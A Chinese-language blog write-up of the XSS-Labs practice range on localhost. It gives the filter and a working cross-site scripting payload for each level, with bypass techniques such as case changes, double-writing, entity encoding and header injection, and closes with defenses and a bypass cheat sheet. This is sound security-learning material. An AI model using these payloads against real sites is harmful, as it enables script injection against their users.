Skip to content
Kurisu
Go back

XSS-Labs 靶场全关卡通关笔记

靶场地址:http://localhost/xss-labs/
环境:phpStudy Pro (PHP 7.3.4 + Apache 2.4.39)
通关日期:2026-07-25
确认机制:alert() 被覆盖为 confirm("完成的不错!"),自动跳转下一关


Level 1 — 无过滤直接注入

参数: ?name= (GET)
过滤: 无
输出: <h2> 标签内,原始 HTML 上下文

Payload: ?name=<script>alert(1)</script>


Level 2 — 闭合双引号属性

参数: ?keyword= (GET)
过滤: <h2> 用了 htmlspecialchars(),但 <input value="..."> 没用
输出: <input value="'.$str.'">

Payload: ?keyword="><script>alert(1)</script>


Level 3 — htmlspecialchars 不转义单引号

参数: ?keyword= (GET)
过滤: htmlspecialchars()(默认 ENT_COMPAT:转义 " & < >不转义 '
输出: <input value='...'> 单引号属性

Payload: ?keyword=' autofocus onfocus='alert(1)

关键点: htmlspecialchars() 默认不处理单引号,需要 ENT_QUOTES 才转义。


Level 4 — 去 <> 后用事件属性

参数: ?keyword= (GET)
过滤: str_replace(">","") + str_replace("<",""),去掉尖括号
输出: <input value="..."> 双引号未被过滤

Payload: ?keyword=" autofocus onfocus="alert(1)

关键点: 没有 <> 时无法创建新标签,但可以用 " 闭合属性后添加事件处理器。


Level 5 — onscript 被替换

参数: ?keyword= (GET)
过滤: strtolower() + 替换 <script<scr_ipt,替换 ono_n
输出: <input value="..."> 双引号未被过滤

Payload: ?keyword="><iframe src=javascript:alert(1)>

关键点: iframe 不含 onscript 子串;javascript: 协议不需要 <script> 标签。


Level 6 — 大小写绕过

参数: ?keyword= (GET)
过滤: 无 strtolower()!大小写敏感的 str_replace("on","o_n") / str_replace("src","sr_c") / str_replace("href","hr_ef") / str_replace("data","da_ta")
输出: <input value="...">

Payload: ?keyword="><IMG SRC=x ONERROR=alert(1)>

关键点: PHP 的 str_replace 大小写敏感,大写 ONon


Level 7 — 双写绕过

参数: ?keyword= (GET)
过滤: strtolower() + str_replace("keyword","")删除(非替换),script/on/src/data/href 被清空
输出: <input value="...">

Payload: ?keyword="><img ssrcrc=1 oonnerror=alert(1)>

关键点: 单次删除不递归。ssrcrc → 删除中间 src → 剩下 srcoonnerror → 删除中间 on → 剩下 onerror


Level 8 — HTML 实体编码绕过

参数: ?keyword= (GET)
过滤: strtolower() + 替换 script/on/src/data/href + str_replace('"','&quot')
输出: <a href="...">友情链接</a>

Payload: ?keyword=java&#115;cript:alert(1)

关键点: PHP 过滤的是原始字符串,看不到 &#115; = s。浏览器在 href 中先 HTML 解码再执行,识别出 javascript:alert(1)


Level 9 — 绕过 http:// 检查

参数: ?keyword= (GET)
过滤: 同 Level 8 + strpos($str7,'http://') 必须存在
输出: <a href="...">友情链接</a>

Payload: ?keyword=java&#115;cript:alert(1)//http://

关键点: // 在 JavaScript 中是注释,//http:// 被 JS 引擎忽略。PHP 检查到 http:// 存在,放行。


Level 10 — hidden input 改 type

参数: ?t_sort= (GET)
过滤: 去掉 <>,无引号过滤
输出: <input name="t_sort" type="hidden" value="'.$str33.'">

Payload: ?t_sort=" type="text" onfocus="alert(1)" autofocus="

关键点: type="hidden" 不可以聚焦,用 " 闭合 value 后添加 type="text" + onfocus + autofocus


Level 11 — HTTP Referer 注入

参数: HTTP Referer 请求头
过滤: 仅去掉 <>
输出: <input name="t_ref" value="...">

Payload: Referer: " type="text" onfocus="alert(1)" autofocus="

关键点: $_SERVER['HTTP_REFERER'] 可控,仅过滤 <>


Level 12 — HTTP User-Agent 注入

参数: HTTP User-Agent 请求头
过滤: 仅去掉 <>
输出: <input name="t_ua" value="...">

Payload: User-Agent: " type="text" onfocus="alert(1)" autofocus="


参数: Cookie user
过滤: 仅去掉 <>
输出: <input name="t_cook" value="...">

Payload: Cookie: user=" type="text" onfocus="alert(1)" autofocus="


Level 14 — EXIF XSS ⚠️(外部站点)

参数: 无(页面嵌套 iframe)
过滤: N/A
输出: 嵌入 http://www.exifviewer.org/ (已失效)

Payload: 上传包含 EXIF XSS 的图片到外部站点,EXIF 字段(如 ArtistImageDescription)包含 <script>alert(1)</script>

状态: 外部站点已失效,此为概念性通关。


Level 15 — AngularJS ng-include 注入

参数: ?src= (GET)
过滤: htmlspecialchars()(不转义 = 和 URL 字符)
输出: <span class="ng-include:'.htmlspecialchars($str).'">,页面加载 angular.min.js

Payload: ?src='level1.php?name=<script>alert(1)</script>'

关键点: AngularJS 的 ng-include 会请求并嵌入指定 URL 的内容。htmlspecialchars 不编码 URL 字符,单引号也未被转义。Angular 请求 level1.php(无过滤)拿到 <script>alert(1)</script> 后执行。


Level 16 — 换行符绕过空格过滤

参数: ?keyword= (GET)
过滤: strtolower() + 替换 script/空格///\t&nbsp;
输出: <center> 内直接输出

Payload: ?keyword=<img%0Dsrc=x%0Donerror=alert(1)>

关键点: 用 %0D(回车符 CR)或 %0C(换页符 FF)代替空格。HTML 解析器将它们视为空白字符。PHP 只过滤了普通空格( )和 tab(\t),不处理其他空白字符。


Level 17 — embed 无引号 src(xsf01.swf)

参数: ?arg01= ?arg02= (GET)
过滤: htmlspecialchars()(不转义空格)
输出: <embed src=xsf01.swf?A=B width=100% heigth=100%>无引号

Payload: ?arg01=x onclick=alert(1)&arg02=x

关键点: src 属性无引号,HTML 解析器用空格分隔属性。注入空格 + onclick=alert(1),被解析为 embed 的事件属性。


Level 18 — embed 无引号 src(xsf02.swf)

参数: ?arg01= ?arg02= (GET)
过滤: 同 Level 17
输出: <embed src=xsf02.swf?A=B ...>无引号

Payload: ?arg01=x onclick=alert(1)&arg02=x

关键点: 同 Level 17,换了 SWF 文件但逻辑一致。


Level 19 — embed 双引号 src(xsf03.swf)⚠️ Flash

参数: ?arg01= ?arg02= (GET)
过滤: htmlspecialchars() 转义 "
输出: <embed src="xsf03.swf?A=B" width=100% heigth=100%>双引号保护

Payload: 需构造 SWF flashvar,将 arg01 设为 SWF 内接收的 flashvar 名,arg02 设为 javascript:alert(1)

状态: Flash 已废弃,SWF 无法在现代浏览器执行。原通关方式需要反编译 xsf03.swf 找到 flashvar 参数名。


Level 20 — embed 双引号 src(xsf04.swf)⚠️ Flash

参数: ?arg01= ?arg02= (GET)
过滤: 同 Level 19
输出: <embed src="xsf04.swf?A=B" ...>双引号保护

Payload: 同 Level 19,针对 xsf04.swf 的 flashvar 参数。Flash 已废弃,概念性了解即可。


防御总结

防御方法效果
htmlspecialchars($str, ENT_QUOTES)转义 " ' < > & — 覆盖大部分场景
上下文感知输出JS 里用 json_encode(),URL 里用 urlencode()
CSP(Content-Security-Policy)禁用 inline script,从源头阻断
HttpOnly Cookie防 Cookie 窃取(减轻但不能防 XSS)
输入验证 + 白名单对特定字段(如 URL、数字)做格式校验

绕过技巧速查

场景技巧
过滤 <script><img src=x onerror=...> <svg onload=...> <iframe src=javascript:...>
过滤 on*javascript: 伪协议
过滤 < >事件属性注入(autofocus onfocus=
过滤关键字大小写混用、双写、HTML 实体编码 &#115;
过滤空格换行 %0a 回车 %0d 换页 %0c 斜杠 /
过滤双引号单引号属性绕过 htmlspecialchars(ENT_COMPAT)
AngularJSng-include 远程包含
隐藏 inputtype="text" + autofocus
HTTP 头注入Referer、User-Agent、Cookie

Share this post:

Previous Post
我的第一个漏洞:一条短信平台密钥的发现与提交
Next Post
PHP 反序列化深入:POP 链构造思路与绕过手法